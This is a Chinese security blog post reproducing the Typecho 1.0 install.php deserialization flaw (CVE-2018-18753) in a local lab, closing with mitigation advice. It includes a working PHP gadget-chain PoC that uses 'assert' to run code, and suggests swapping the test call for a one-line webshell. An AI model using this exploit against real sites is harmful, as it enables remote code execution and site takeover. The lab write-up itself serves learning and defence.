freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Typecho反序列化漏洞(CVE-2018-18753)
2023-03-05 16:09:27
所属地 湖南省

0x01 安装好环境:

1.从https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release下载好安装包
图片.png

2.将我们下载好的文件放到我们的PHP_study网站根目录中,当然啦其他集成环境也可以。==注意这里PHP版本为5.4.45的版本==

3.直接在浏览器中输入localhost/typecho安装就行,当然如果报错的话那么我们先新建一个typecho的数据库。

图片.png

图片.png

然后我们可以很清楚的看到typecho已经成功安装了。那么我们再次打开这个软件,localhost/typecho

0x02漏洞复现:

1.我们很清楚的知道,这版本中它的installl.php中文件存在反序列化漏洞。

2.编写poc.php文件

<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'phpinfo()';    
	$this->_filter[0] = 'assert'; 
	} 
} 
 
$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 
 
echo base64_encode(serialize($exp));
?>

2.在编译器中将这串代码运行出来,得到payload
图片.png

3.查看install.php中的代码,初步代码审计一下。

图片.png

查看到这里反序列化中,经过了base64的解码,而这个接收的字段是==__typecho_config==

4.再来分析之前的poc.php输出的一串字符
图片.png

我们用在线解码软件将其解码出来,看到解码的结果我们不难猜到这是序列化之后的结果。而这其中仔细观察出现了==phpinfo==这个字段。

我们回头看之前的代码

图片.png

这里存在phpinfo()我们如果想要在这里深度利用的话。可以改一下参数。改成一句话木马呀啥的都都可以

5.利用,当然啦,这里我们也可以通过BP抓包来实现。

图片.png

0x03漏洞修复和防御方法

1.升级版本,这是最快捷的方法

2.黑白名单限制

3.waf

4.尽量不要让unserialize函数中的参数可控

# 网络安全 # web安全 # 漏洞复现
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者